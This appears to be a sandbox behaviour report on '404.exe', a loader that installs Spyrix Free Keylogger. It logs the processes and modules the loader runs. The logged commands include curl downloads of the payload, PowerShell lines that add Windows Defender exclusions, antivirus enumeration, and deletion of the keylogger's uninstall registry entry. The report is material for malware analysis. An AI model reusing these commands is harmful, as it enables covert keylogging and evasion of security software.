Source: C:\Users\user\Desktop\404.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\\38b5bf3b-2a32-4636-ac09-779581aade41.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe "C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp "C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp" /SL5="$70296,32862490,227328,C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\d.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\pswd.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\reg.exe "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '404.*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-98UMI.tmp\ex" /y
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "sem"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spkl.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spkl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq clv.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "clv"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_6E3F587357F4ED7D7098E81DD0F931D7 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,7642433025411638348,18067378609004413491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\404.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38b5bf3b-2a32-4636-ac09-779581aade41\404.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Section loaded: mpr.dll	Jump to behavior
